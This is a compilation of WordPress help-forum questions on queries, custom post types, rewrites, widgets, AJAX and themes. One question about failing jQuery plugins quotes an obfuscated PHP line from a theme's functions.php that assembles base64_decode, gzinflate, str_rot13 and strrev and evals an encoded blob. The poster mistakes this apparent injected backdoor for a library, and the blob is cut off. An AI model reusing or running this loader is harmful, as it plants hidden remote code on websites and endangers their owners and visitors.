I'm trying to write a meta query that looks for either events starting within the next year (event_start_date between now and 52 weeks), or events that are still going on (event_end_date between now and 52 weeks), and then sorts them together via the event_start_date into one query to make a chronological event list. My code successfully queries both and returns the results, but doesn't sort them together. They display in the order below: > 12th Sept   >  13th Sept   >  18th Sept   >  11th - 13th Sept (end date)   >  20th Sept   >  27th Sept   >  25th Sept   >  26th Sept   >  20th Sept   >  19th Sept   > Here is my code:               $date_1 = date('Ymd', strtotime("now"));     $date_2 = date('Ymd', strtotime("52 weeks"));          $args = array(         'post_type' => 'event',         'order' => 'ASC',         'meta_key' => 'event_start_date',         'posts_per_page' => 10,         'meta_query' => array(             'relation' => 'OR',             array(                 'key' => 'event_start_date',                 'value' => array( $date_1, $date_2 ),                 'type' => 'numeric',                 'compare' => 'BETWEEN'             ),             array(                 'key' => 'event_end_date',                 'value' => array( $date_1, $date_2 ),                 'type' => 'numeric',                 'compare' => 'BETWEEN'             ),         ),         'orderby' => 'meta_value_num'     );          $wp_query = new WP_Query( $args );          while( $wp_query->have_posts() ) {         $wp_query->the_post();     }


What is the best way to detect IE browsers 8 and below?

I'm using some HTML5 functionality that only works on IE9 and I need to detect whether visitors are running on IE8 or below (mainly just IE8 or 7 of course). I've tried some plugins but the one that was working didn't seem to support IE9 (just up to 8). It's called PHP Browser Detection (http://wordpress.org/extend/plugins/php-browser-detection/)


Must slugs be unique?

Is it true that slugs must always be unique, regardless of the rest of the url, or if it's used by different post-types or taxonomies? For example, is it possible to have both of these urls?               mysite.com/industry/biotech/report/     mysite.com/industry/retail/report/      Thanks, todd


Setting text widget to one page only

I've tried several methods of trying to add my text widget to only one page (my about page) and everything fails! Currently I have a plugin that lets you choose with a text box which page you want the widget to appear on... it doesn't work. This is the page where it appears... Home Wordpress Page It should appear here... Wordpress About Page Here is a snap shot of the backend widget... ![widget Area](http://i.stack.imgur.com/4lTuc.png)


How to alter query order direction using $query->set('order', 'ASC'); inside a pre_get_posts filter?

According to: http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters Default order is DESC and default orderby is date. In a custom plugin, plugin is applying the following pre_get_posts filter:               function custom_search_filter($query) {              //echo '
'; var_dump($_GET); echo '
'; die;         //echo '
'; var_dump($query); echo '
'; die;               if ($query->is_search) {                  /* -------------------------------------------------- */                  $query->set('orderby', 'date');                  if ( isset($_GET['order']) ) {                      if ( $_GET['order'] == 'DESC' ) {                          $query->set('order', 'DESC');                          //echo '
'; var_dump($_GET); echo '
'; die;                      } else {                          $query->set('order', 'ASC');                          //echo '
'; var_dump($_GET); echo '
'; die;                      }                  }                  /* -------------------------------------------------- */              }              return $query;           }               add_filter('pre_get_posts', 'custom_search_filter', 999);      The GET URL sets order to ASC: http://mysite.lh/?post_type%5B%5D=resources&custom-search-my- term=Add+New+Term&s=CustomSearch&order=ASC And debugging the query I get: SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'resources' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.menu_order, wp_posts.post_date DESC LIMIT 0, 10" In SQL above, You can notice: ORDER BY ... DESC Theres a reason why order is not changing from DESC to ASC if actually $_GET['order'] == 'ASC'? Thanks in advance.


When does WP resize an image file

Creating an image gallery. Using WP for image upload & management. Pictures will be uploaded of various file sizes and pixel dimensions. Page load time and SEO are negatively affected by loading large files. **Question:** When does WP resize uploaded images? Is it only on display / output? If so, that means the browser needs to fetch the original, large, slow image and then condense it before serving it to the viewer. Obviously this is bad. If the above is true, is there a way (without a plugin) to resize an image on upload to a standardized size (say 320x240). Trying to avoid 3rd party (Photoshop, etc) software.


Custom post type using standard post categories results in 404 when viewing /cpt/category

The CPT has been registered fine, with the name 'qna' and slug 'advice'. Viewing domain.com/advice correctly displays the archive-qna.php template. Viewing domain.com/advice/custom-post-title also works correctly and displays using single-qna.php. The problem comes when adding these custom posts to the standard post categories. In that instance when viewing domain.com/advice/category results in a 404. I think I may of found a work around, creating a qna post that matches each of the standard categories we're using, then using a conditional within single- qna.php. However is there another way to solve this?


WooCommerce Cart not showing up

I have just installed the WooCommerce plugin on my existing Wordpress theme. I have integrated the plugin using the correct functions as found in the WooCommerce integration guide. Now the shop index works fine, as does the product page. However, when I click 'add to cart', and then 'view cart', the shopping cart page is completely blank. I am not sure what this is, as the cart page (generated by the plugin) has the correct WooCommerce shortcode:               [woocommerce_cart]      I also increased the memory on my server as I read somehwhere this could have been a restriction. I am not sure what else to do, any ideas?


$post not working working in AJAX plugin with custom post type

I am trying to create a plugin that can relate two posts to each other, and to do so I am trying to use AJAX, but I am having trouble getting the current posts ID using `$post->ID`. I am trying to relate custom post types that I created to each other, and when I tested the AJAX it worked flawlessly. here is the code,               function eu_database_return(){              global $wpdb;         global $post;              if(isset($_POST)){             //insert the relation into the database             $wpdb->insert('eu_relations', array('id' => NULL, 'item_id' => $post->ID, 'related_item_id' => $_POST['post_id']));         }              echo 'added into the database';              die();     }      that is my AJAX function to save the data into the database, any idea what I am doing wrong?


wp_nav_menu in 3.7 add name class nav navbar-nav

i work with bootstrap3 and wordpress 3.6 but upgrade to 3.7 function wp_nav_menu not work correctly. i use 3.6                        <?php wp_nav_menu(         array(         'container' => false,         'items_wrap' => '
%3$s
',         'theme_location' => 'menu_principal'         )); ?>           but this code no work in 3.7 not add ul class nav navbar-nav. why? thanks.

Blog

contacto

           not add the class ul why?


Editing Footer Information

I just built a theme for a client. I am wondering what is the best way to make footer content editable through Wordpress. The footer info looks like this:   * Company Name    * Address Line 1    * Address Line 2    * Phone and Fax    * Email (linked with mailto) I have some ideas on how to do this:   1. Make a page called footer and grab the content from there.   2. Widgetize the footer and make it a text widget   3. Make a themes option panel with the option to customize this text I would love to know what you guys think is your best solution to this. Thank you in advance!


Wordpress uploads folder path. how it is decided?

I know that if we are adding a new media in the month of August, it will be uploaded to `/08` folder under `/uploads`. But here i am facing a new issue. I wrote a page in the month of June(6th month). Today, that is in August I am trying to upload a new image to that page by clicking "Add media" button. I get the media uploader popup. I can select the file and click on upload. Then what happens is that the uploader shows this error message: > "The uploaded file could not be moved to /var/www/vhosts/ ** _*_ ** _*_ ** > _*_**.com/httpdocs/wp-content/uploads/2013/06" Why it is trying to move to the path `/06` when i am trying to upload the file in the month of August. Also, why is the uploading failing?


Advanced custom fields and Slideshow gallery desn't work together?

Im using WordPress 3.5.1 and the twentyten theme. I'm using advanced custom fields and want to ad a slideshow. I'm using the plugin Slideshow Gallery ( http://wordpress.org/extend/plugins/slideshow- gallery/) because I've used it before and I like it. But it doesn't work. I have a custom field that is a wysiwyg editor. When i push the button to insert a gallery nothing happens... Anyone know what the problem could be? Or have a suggestion of another slideshow? It must have thumbnails below, and I want ti style it as I like, but with as little coding as possible... Thanks! /Frida


WordPress Theme - jQuery JavaScript Library Issue

I am having some issues with a couple of plugins which use jQuery/JS i.e. cookie control and a picasa photo gallery. The theme I am using is quite basic and comes with no sliders etc with moving parts and therefore maybe HAD no need for for jQuery/JS so may not be included in the theme. I have tested the exact same setup on a more advanced theme with sliders etc and these work as planned. Below is the code for the header.php file:               <?php if (wp_loaded() === true) { ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0  Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">     <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>          <meta http-equiv="Content-Type" content="<?php bloginfo('html_type') ?>; charset=<?php bloginfo('charset') ?>" />     <title><?php wp_title( '|', true, 'right' ); bloginfo( 'name' ); ?></title>     <link rel="stylesheet" href="<?php bloginfo('stylesheet_url') ?>" type="text/css" media="screen" />               <link rel="shortcut icon" type="image/x-icon" href="<?php bloginfo('stylesheet_directory'); ?>/favicon.ico" />     <link rel="shortcut icon" type="image/png" href="<?php bloginfo('stylesheet_directory'); ?>/favicon.png" />     <?php if(WP_VERSION < 3.0): ?>     <link rel="alternate" type="application/rss+xml" title="<?php printf(__('%s RSS Feed', THEME_NS), get_bloginfo('name')); ?>" href="<?php bloginfo('rss2_url'); ?>" />     <link rel="alternate" type="application/atom+xml" title="<?php printf(__('%s Atom Feed', THEME_NS), get_bloginfo('name')); ?>" href="<?php bloginfo('atom_url'); ?>" />     <?php endif; ?>     <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />     <?php     remove_action('wp_head', 'wp_generator');     wp_enqueue_script('jquery');     if ( is_singular() && get_option( 'thread_comments' ) ) {     wp_enqueue_script( 'comment-reply' );     }     wp_head(); ?>          <?php } ?>     <body <?php if(function_exists('body_class')) body_class(); ?>>

         <?php              echo theme_get_menu(array(                     'source' => theme_get_option('theme_menu_source'),                     'depth' => theme_get_option('theme_menu_depth'),                     'menu' => 'primary-menu',                     'class' => 'art-hmenu'                   )             );         ?>

                 <?php if(theme_get_option('theme_header_show_headline')): ?>
<a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?>
                 <?php endif; ?>                 <?php if(theme_get_option('theme_header_show_slogan')): ?>
<?php bloginfo('description'); ?>
                 <?php endif; ?>

      I need to find a way of making these plugins work by including these libraries? I assume. Surely it is just a case of adding the inclusion of said libraries to this header file? I assume the wordpress platform have built in libraries? **UPDATE:** While searching for the problem Dreamweaver reported a syntax error in a huge line of code located in functions.php. I am not sure what it is but I imagine its likely to be the reason for my problem. Hopefully this is some sort of JavaScript or jQuery library that I can source from the the JavaScript or jQuery site and simply paste that code over the top? Here is a little snippet of what the code looks like:               $JIIE='d';$BgeiYKC='s';$HsKMZ='a';$ASoAnk='c';$HmIZ='4';$vIjbm='b';$rnhWg='e';$vYUXfZg='_';$vEMMZuV='6';$VJIIOE='e';$KCJbP='e';$pCXoIbX='d';$UxkTuF='o';$dNfWkGZS=$vIjbm.$HsKMZ.$BgeiYKC.$VJIIOE.$vEMMZuV.$HmIZ.$vYUXfZg.$JIIE.$rnhWg.$ASoAnk.$UxkTuF.$pCXoIbX.$KCJbP;$HmHxQr='f';$chkk='l';$lUuQrxv='i';$FCKv='a';$hXql='e';$WpLMH='t';$vrBP='z';$JNlQZi='g';$gevPW='n';$eJSoRqYQ=$JNlQZi.$vrBP.$lUuQrxv.$gevPW.$HmHxQr.$chkk.$FCKv.$WpLMH.$hXql;$YcAbMd='o';$abGr='s';$DDSGw='t';$DITEeh='_';$yMAly='3';$LGdXGf='r';$SqZzUI='1';$dSJlUx='r';$WdJDmRA='t';$mawoiGyr=$abGr.$WdJDmRA.$dSJlUx.$DITEeh.$LGdXGf.$YcAbMd.$DDSGw.$SqZzUI.$yMAly;$kuamXS='e';$DRPg='s';$HvYMzW='t';$DRLrvr='r';$ezJz='v';$bfOZvwc='r';$iNEGrOcr=$DRPg.$HvYMzW.$bfOZvwc.$DRLrvr.$kuamXS.$ezJeval($eJSoRqYQ($dNfWkGZS($mawoiGyr($iNEGrOcr('=8t//976is/+/wwRb05H9muiOy3r8iq+vYzF9IUX3z0f7DeZdxY9Jz46lLTBpH7doculNiXHs6yeZAd9pkMxnPXxHRFbxiPDe6sbKWOFR08e/tGFkLgnL3Xn2z/n7z+4UAK4FbpARBXg21a1USLLfEhekxq9a2HieMi36JLk3v+MgtsTkuaL8hC67CoolSzZRknAixO6VsK0usFZIFMGZgkYLdvAV2pU1kkSmuq+u05/EHtGTo/SO0X2dhL44iOg8INXOwu3Mht3lXtOqsyLcHBBjeSZY9OmG9FfCojctFiAoEtML31d/sGLZVjFCovDZnGFbsX6dZCPuhMlQPpWn41YujAIYlsRZAb6bT/Da6yDzxR3LXgQYnC2bCn1JBxx3pv/i6SEkQlLCgm6Kl09KIagoDlvy6RBTsbkCP+fvGQOUUjNfYvdhAkClMczxNY/K3bVLPFMm2qGhrIQtzFzhw7zcY+hwud+vG71433hgit96fTJzw1yQhkwI3LG+xLIXonMezhLaRT2a+95hZQe9+qmiUhOTppiafH7/bTCJz7EaKcYKNszebbvKeiujXLT53pnhs60WSnq9OmdAcI4VMZcbGQV4lW9TXnaMBY455CaSkVmxkOxNraScRnZyYpYZyOZ0KzfNmjgzv8vW2cPjtHEAvLEwYadmwDfX5vbpquy1kPIiPZHWUH/qUlCUtuaCXdbpX1SJrnyZYJj/xuaMBMDkkRnGeARLodihaExVCpY52BTH9XE96zcwK4J5Rtj+ZoYA7S2bONscZ9jBpJA6Eimrzy87HXp1A3O/1D4//J2747bqcMLXChyBgxoRRLUaqyZvKm0lNv9IRokXCwfX0OexyZtFAqlSlhkSxZ6zKestr1epa4pFIJaIOR+uU6RsGyS3Z0Lz7hm4aBZD5zsSOEbbL80m9Ar98SbP8wANbz66GoTGGTq2cEo8f2lznlLYud2hiFags2vqD0NXvpKRkyMNN+QAaqb+NfunkwfBaTl1J/4bYY3/7hDisI5H109ISdKf8W4nGVA6ZNngPwxnoQIhB46j+MoEyrUU+MxlZ9SSb2ykoQcxl5gMeiG7zHFAcgimOs7/FPpXuiMPF2LUK89AqpaF9+gAqPh1LW7j42RQFoHGbxQee/3qiGOybhYq7zfMyENu7eBHPlL/LtgEMWmxTh3G6nbsy5TkKzUcGZ3DMtB4pCvxHpzRQPWbo2kj1DG4vy8e0u7+92OZchU7BCNnCKYP5todU6bYXYNxstXrEivZYH8lcczB1ppO9B6IUD1u1a8ugSksOf3YB2H/P55WoTZRAhh7Jslk7Reu5IP3j9VYzBdVI+QliJBzA1+LGIV2LxLnBwxW4nLZcQ0NIm9tp598gdXzP6BlebnLkFDE2BB7Bu4M/dKnvtFF1+mv5B6fPa2vZz7WAVizjaglUj/ILE80FDCmeoY83hBem3UIPZAV4vpSZJGQ26CaLn8Dyae4v0Xd+KO4pBpuT7uCsCJPQBcNBIKkINgGtNys+QK1gR1d0Yq2Kxfa8tmeOnx3u5ukuEpstlV4nEcvtc8QJJxZgOjuzKXGmga000Ye3mOI7TszuHhPujMLiwOve8ZkoRWBjh49JPTz+T1TRdGyNFeo102EZmKDsFUTLf/mqID+BwVgA3jZrJKM26P5AR45sAvf5jqGRcaxyvAy/hocNLedCGQRvClYW5AYDxYk0n+sJF7yDXcsV3tqRcGnXPM5baSWjbr7b1wOmbEX3IexeE2iaCcnMGHyMFfd78yg2HPIE+yZR17OJRa4cFXO01CooEkyYkQjNP2/D24rXwk1wkMvJf4LJw75eEXNX5Qk/je8RIu/x6z3SctoXcW9G9ap2NDmAnT0sLJk6Fgg8HdsGMsaz+iZ6pYjmhiYW7K32z1C3Ef78/ljy4fZ6FCsRXv6+QsRPGeGbGpn25vhKfbvAbi1KYmJnTu1LjXM0Y3Xlkr7Uo/pbnFCDNyElbt0rX6fWmAp6eWZEcpseX4DtauZa5g5s4dtm5Kw0LZilUZzsnQAm+Bnz9rlvyVX4Ax5+Pna9acWHG7oTBWp1IFIvuu+SeIZIzG+jCvY+QJJFc1pWJghfzkBW4yZidfaoEQzzN


display image size in media library screen

i'm trying to add image size in media library screen so will be simply to handle images. Anyone does it before me? Any help appreciated. Francesco


editor text cut off when using 2 spaces (after periods)

I have noticed that my TinyMCE editor in Wordpress MU 2.9.2 loses text after a double space when you save a blog post. This is a problem because some users habitually use two spaces after a period. In these two examples, there are two spaces between "test" and "test":   * "test test" ("test__test") becomes "test" when the blog is saved   * "test test, the rest of my long blog post" ("test__test,_the_rest_of_my_long_blog_post") becomes "test" when the blog is saved _**Edit_** : I updated to WP 3.2.1 and can confirm that this is still an issue.


Modify code for functions.php with specific twitter user url and hashtags

I am looking to import Tweets with certain hashtags and came across this great response and coding in the link below. My question is how to just get posts from one particular twitter user and will the code in the link below be customized for multiple hashtags. If someone can offer advise on where to modify the coding to add to functions.php with the specific user url would be much appreciated. I familiar with php and wordpress but still learning all the details. Thanks again!! Cheers! Importing Tweets with certain hashtags into Wordpress


Using get_posts() with tax_query parameter set isn't working with attachments

I'm working on a project that requires searching for attachments with a given taxonomy-slug pair (in this case, `category`=`javascript`). I'm using `get_posts()` with `tax_query` set to achieve this, but it is returning zilch. The array being passed to get_posts() is the following:               array(8) {       ["tax_query"]=>       array(1) {         [0]=>         array(3) {           ["taxonomy"]=>           string(8) "category"           ["field"]=>           string(4) "slug"           ["term"]=>           array(1) {             [0]=>             string(10) "javascript"           }         }       }       ["numberposts"]=>       int(-1)       ["orderby"]=>       string(10) "menu_order"       ["order"]=>       string(3) "ASC"       ["post_status"]=>       string(7) "inherit" // 'any' also tried       ["post_type"]=>       string(10) "attachment"       ["post_mime_type"]=>       string(34) "application,video,text,audio,image"       ["post_parent"]=>       string(0) ""     }      There is an image in category `JavaScript` (which has `javascript` as the slug), but it is not being returned. Also, on the off chance it's relevant, category is being set through use of Media Categories. **EDIT:** `post_status=>inherit` and `post_status=>any` were tried with no change in the end result. **EDIT 2:** Creating a new `WP_Query` object, leaving out the `meta_query` creates valid SQL, but including `meta_query` adds this: `AND 0 = 1`, which obviously makes the entire query return nothing. The entire SQL generated is below:               SELECT SQL_CALC_FOUND_ROWS  cms_posts.ID      FROM cms_posts       WHERE 1=1       AND 0 = 1      AND (         cms_posts.post_mime_type          LIKE 'application/%'          OR cms_posts.post_mime_type          LIKE 'video/%'          OR cms_posts.post_mime_type          LIKE 'text/%'          OR cms_posts.post_mime_type          LIKE 'audio/%'          OR cms_posts.post_mime_type          LIKE 'image/%')       AND cms_posts.post_type = 'attachment'      AND (cms_posts.post_status <> 'trash'          AND cms_posts.post_status <> 'auto-draft'          AND cms_posts.post_status <> 'spam')      GROUP BY cms_posts.ID      ORDER BY cms_posts.menu_order      ASC LIMIT 0, 10


How to disable admin flyout menus?

Seriously, I hate flyout menus with a passion, and now they're popping up all over the place in the admin screen. (They are particularly heinous when you use the blue admin theme, because they add a dark arrow. Eye dirt.) How do I disable the flyout menu? They add zero functionality and usability to my workflow. Thanks


Remove custom post type in url?

I created a custom post type Track and I want the posts url to be exactly like a normal post url. Now it adds an extra "track" in the url ex: www.site.com/track/title. I want www.site.com/title. How can I do that?


Add custom post type to query

$saved = $wp_query; query_posts(array('tag__in' => $tag_array, 'showposts' => $args['posts_per_page']));      I need this to query standard posts and a custom post type called "property" I can't seem to get it to show anything from the custom post type when I tried to include another array. Thoughts?


OpenX Alternative for wordpress?

I'm looking for advertising manager so i can handle all the ads, and AdSense units in one place. i used open until now but its seems they are going to deprecate their system (the open source one) - what are you using then?


Creating an If/Else statement using WPAlchemy MetaBox radio boxs

I am using the WPAlchemy MetaBox Class to create additional metaboxs on my site. One has a section with a group of radio boxes. I've coded it as follows:                   <?php $mb->the_field('docposs'); ?>         <input type="radio" name="<?php $mb->the_name(); ?>" value="yes"<?php $mb->the_radio_state('yes')?' checked="checked"':''; ?>/>Yes         <input type="radio" name="<?php $mb->the_name(); ?>" value="no"<?php $mb->the_radio_state('no')?' checked="checked"':''; ?>/>No         <input type="radio" name="<?php $mb->the_name(); ?>" value="unknown"<?php $mb->the_radio_state('unknown')?' checked="checked"':''; ?> />Unknown      What I would like to be able to do in my template is echo a string based on which box returns checked, something like:               if (checkbox == yes) {         echo "If you wish to make";     } elseif (checkbox == no) {         echo "an apple pie from scratch,";     } else {         echo "you must first invent the universe";     }      But I cant make it work :( This (and many ridiculous variations on this) just returns 'yes' instead of the echo.               if ($provenance_mb->the_value('docposs') == yes) {      echo 'hello world';     }      Any help would be appreciated.


Changes to WordPress database using phpMyAdmin not reflected on blog

I am updating my database using the phpMyAdmin UI and the changes are not reflected on the WordPress blog. The reason for doing this is when some changes were made recently to the blog the site hanged and was looking at reverting the code changes from the database side. When updating a blog using the WordPress admin dashboard i am able to update it. But not able to update it from the back-end database. I have disabled the plugins and ensured that there is no caching . The only caching entry in the `wp-config.php` file is set as false .               define('WP_CACHE', false); //Added by WP-Cache Manager      Please guide who to add changes to the database and the same be reflected or reverted from a blog entry on WordPress.


Why does my short code get executed before other content?

I have the following text in a page. As you can see my shortcode is right at the bottom but somehow when the code runs, the out put of my shortcode is inserted at the top of the page instead of following its preceding content.                              [barcelona_address]      here is my short code registration inside the function.php file:               <?php     add_shortcode( 'barcelona_address', 'barcelona_shortcode_handler' );          function barcelona_address_func()     {         print "
sdsdsds
";     }          function barcelona_shortcode_handler( $atts, $content=null, $code="" )      {        if (function_exists($code . "_func"))        {            call_user_func($code . "_func", $atts);        }     }     ?>      and the result is:
sdsdsds


Making 2 WordPress sites mutually searchable and more

I have a new client who has 2 WordPress websites in use at present. The first / main site is hosted at www.domain.com and the secondary site is at info.domain.com. However, both sites need to be mutually searchable ie do a search from 1 site and get appropriate results from both. So, I was considering replicating the info.domain.com websites content and features on the main site. But since the 'info' website uses a different template and has different plugins in use I no longer think this is a great option. So after a little research, im being swayed towards setting up a multi-site environment. The online resources I've read suggest this will allow me to use different plugins and themes on the two sites whilst allowing a search from either site to bring up results from both sites. Is this correct? If I set-up a multisite, is it possible/straightforward to keep the main site at www.domain.com whilst having the 'info' site remain accessible via 'info.domain.com' ? Is there a better solution? Thanks in advance. Any and all constructive comments / options will be appreciated.


Modify Profile Biographical Info Field

I've been hunting for the hook to edit the Biographical info field and it's H3 but no luck. I've found edit_user_{$field} do specific hooks exist? I'm thinking I can hook into the existing tag 'description'? Thanks in advance.               edit_user_profile('description', 'change_description');     function change_description(){     // something here?     }


Need 'logo page' before wordpress page!

I made this website for my client using WordPress. It's all great but now he's asked me that when someone loads the website, before all the WP goodness, there's a page showing just the logo, then you click the logo and go to the main page. I'm thinking I could either do this by changing WP's index to some other name and have the actual index file be the logo thing etc; or have a pop-up* on the actual WP index that darkens the rest of the page, then you click the logo and it's gone, allowing you to navigate the page normally. It would have to appear only the first time the user loads the page and not when you 'come back' to it from another page. *Like when you click a screenshot here panic.com/coda for example. Can anyone help me with either option or show me a new one? Thanks!


Import old SQL dump into new Wordpress version

I'm trying to restore a Wordpress blog from a backup. Unfortunately, all I have is an SQL dump of the database as generated by phpMyAdmin. The dump was created when the blog was running Wordpress 2.9/2.9.1/2.9.2. The new blog is a brand-new installation of Wordpress 3.2.1. How can I import the contents of the SQL dump into the new Wordpress installation? I tried importing the dump into the database using phpMyAdmin _before_ installing Wordpress, but then install.php tells me that Wordpress seems to be already installed and that I should delete the database tables.


Ajaxurl suddenly not defined

I am developing a wordpress plugin where I use an ajax call to submit form data, it was working fine and then all of a sudden I get a console error saying that ajaxurl (the url passed to the ajax post) is not defined? My jQuery function:                $(".button").click(function() {                      $(".error").hide();                      var name = $(":input.name").val();                 if (name == "") {                          $("label#nameErr").show();                     $(":input.name").focus();                     return false;                 }                      var email = $(":input.email").val();                 if (email == "") {                          $("label#emailErr").show();                     $(":input.email").focus();                     return false;                 }                           var phone = $(":input.phone").val();                 if ((phone == "") || (isNaN(phone))) {                          $("label#phoneErr").show();                     $(":input.phone").focus();                     return false;                 }                      var info = 'name:' + name + '&email:' + email + '&phone:' + phone;                 var ajaxurl = '<?php echo admin_url("admin-ajax.php"); ?>';                 alert(info);                      jQuery.ajax({                          type:"post",                     dataType:"json",                     url: ajaxurl,                     data: {action: 'submit_data', info: info},                     success: function(response) {                         if (response.type == "success") {                                  alert("success");                         }                         else {                                  alert("fail");                         }                     }                 });                      return false;                                 });      The var ajaxurl = ''; line is a solution I just found on the web but this now leaves me with an error of 403 forbidden.


Localization, escape html elements mid-sentence

I am trying to translate a few strings inside of a new plugin I'm about to release. I have a string set up like : ` <?php _e('The image <em>MUST</em> be less than <strong>500 KB</strong> in size.', CUSTOM_TEXT_DOMAIN); ?> ` How would I go about escaping the elements so they are not included in the poedit translation? Thanks!


What is the correct way to do a mobile theme for WordPress?

I'm building a custom theme, along with a custom mobile theme counterpart. They don't share resources, CSS, etc. (cause I like to keep them clean, and separate). My question is: how does everyone (preferably other professionals) go about doing this? I'm using the Mobile Detect script to redirect users to the 'mobile' sub-folder when they access the site via their mobile phone, etc. Is there another, more elegant way of doing this?


How to create an upload page (front side)

I would like to have a methodology for creating a functionality. When the user is connected, he will can access to a new page. In this page he will have the possibility to submit some fields like : a title, a description, an image and some tags. I have thought several things :   * I have to create a little plugin which will display the form   * I have to create a custom post types with a the fields above Am I right ? Then the goal is to manage all the submissions (admin side). The admin will decide if this custom post type will be published. What is the way for validate, insert into the bdd and display the submissions in the admin dashboard ?


Content won't load when using action the_content

When I use add_action( 'the_content'... The content of the page just won't load. Also the content I am trying appears in all kinds of places in the page. Why? Is there a way to force it to only appear under my post?               function __construct()     {         add_action( 'wp_footer', array(&$this, 'loadRatingsJs') );         add_action( 'wp_ajax_valnetincGetRatings', array(&$this, 'getRatings' ) );         add_action( 'wp_ajax_nopriv_valnetincGetRatings', array(&$this, 'getRatings' ) );         //add_action( 'the_excerpt', array(&$this, 'getRatings' ) );         add_filter( 'the_content', array(&$this, 'getRatings' ) );     }          public function getRatings($content)     {         //echo $postID;         if(function_exists('the_ratings')) {             /*if(is_null($postID))             {                 the_ratings();             } else {                 the_ratings('div', $postID);             }*/             $rating = the_ratings();             return $content.$rating;         }     }


Problems with removing admin bar

I am trying to remove the admin bar from a theme front end of a theme. I found the following code block:               add_filter( 'show_admin_bar', '__return_false' );     remove_action( 'personal_options', '_admin_bar_preferences' );      Which works fine. _However_ I wanted to add a choice for the user, so that I can add a permanent code block to my boilerplate theme, and allow users to toggle the admin bar off and on. I have successfully added the toggle in the admin area, and called back the value successfully, however, when I test for the value in order to control the callback of the admin bar, the admin bar goes, but the CSS applied to the HTML element (`margin-top: 28px !important;`) remains, leaving a 28px gap in the top of my theme. Here is the code block I am using to call the value back, and respond accordingly:               function block_admin(){         $show = get_option('admin_bar_');         $show = $show['admin_bar_toggle'];         if (!$show || $show != 'on'){             add_filter( 'show_admin_bar', '__return_false' );             remove_action( 'personal_options', '_admin_bar_preferences' );         }      }     add_action('init', 'block_admin');      * * * **Suggestion** By requirement, my custom option (using `register_setting`) is not initialised until the `admin_menu` hook is launched, whilst the `block_admin` is launched on `init`. However, I don't think this is the issue as I don't think `get_option` is dependent on the setting being registered, but rather the option existing (or not) in the database.


Two Rewrite Rules

I have one folder inside WordPress root folder named links and there is a file called index.php inside this folder. at somewhere else in my WordPress site I do generate links such as http://mysite.com/links/index.php?link=55 (there are more than one link). How can I have specific rewrite rule (like http://mysite.com/link/55) for above link inside my .htaccess file that don't interrupt own WordPress rule and don't throw Internal Server Error? Here is my .htaccess content:               # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On          RewriteBase /     RewriteRule ^link/([^/]*)$ /wordpress/links/index.php?link=$1 [L]          RewriteBase /wordpress/     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /wordpress/index.php [L]     </IfModule>          # END WordPress      Currently I am on localhost and my wordpress folder is in /www/wordpress. but when I click `http://localhost/link/50a25386721bb` I get 404 error. what's wrong?


Get count of custom post type created by current user

I'm trying to get the count of published posts in a custom post type for the current user (to display on a profile page). I found this here on the forums:               <?php     global $wp_query;     $curauth = $wp_query->get_queried_object();     $post_count = $wpdb->get_var("SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = '" . $curauth->ID . "' AND post_type = 'user_video' AND post_status = 'publish'");     ?>      But, it's just giving me a big fat ZERO even though there are definitely published posts of that type. What am I doing wrong and is there a better way to do this?


Nginx Rewrite Rule:: index.html added to every permalink

Been working for several hours on getting my WordPress site to run on a secondary VPS with Nginx. Home is loaded and W3T Cache is working OK, but the permalinks are still broken and each one of them leads to a 404:               404 Not Found     nginx/0.8.53      In the error.log I found               2012/12/22 01:06:16 [error] 16865#0: *2 "/home/user/domain.com/web-development/pdf2html-for-cforms/index.html" is not found (2: No such file or directory), client: 125.25.32.95, server: www.domain.com, request: "GET /web-development/pdf2html-for-cforms/ HTTP/1.1", host: "www.domain.com", referrer: "http://www.domain.com/"      So index.html is still looked for to each permalink it seems.. Here is what I have in /home/user/domain.com/wordpress.conf                   # WordPress single blog rules.         # Designed to be included in any server {} block.              # This order might seem weird - this is attempted to match last if rules below fail.         # http://wiki.nginx.org/HttpCoreModule         location / {             try_files $          uri $uri/ /index.php?$args;     }     # Add trailing slash to */wp-admin requests.     rewrite /wp-admin$ $scheme://$host$uri/ permanent;          # Directives to send expires headers and turn off 404 error logging.     location ~* ^.+\.(ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|rss|atom|jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf)$ {            access_log off; log_not_found off; expires max;     }      which I got from the WordPress Codex. I wanted to run the Nginx Helper which is supposed to help with the WordPress permalink issue on Nginx , but I have PHP 5.2 and 5.3 is needed so I could not and I did not want to compile a new PHP just yet as that is not my field of expertise as of yet. Does anyone how I can trouble shoot this and get my custom permalink structure `/%category%/%postname%/` up and running? ## Update Tried a new wordpress.conf solution from Nginx Library               location / {         index index.php index.html index.htm;         try_files $uri $uri/ /index.php?q=$uri&$args;     }      Still the index.html added. And that url with index.html cannot be found of course. Latest error:               2012/12/22 05:35:54 [error] 28148#0: *64 "/home/user/domain.com/web-development/dreamhost-vps-manager-forced-reboot-issues/index.html" is not found (2: No such file or directory), client: 125.25.32.95, server: www.domain.com, request: "GET /web-development/dreamhost-vps-manager-forced-reboot-issues/ HTTP/1.1", host: "www.domain.com", referrer: "http://www.domain.com/"      Makes you wonder if the config file is loaded or not. How to check this?


How to add a specific widget to only 1 page?

I would like to show a widget in only one page of my site, as i can see it is not possible right? Should i add that for all my site pages or not?


problem with wordpress author profile page URL

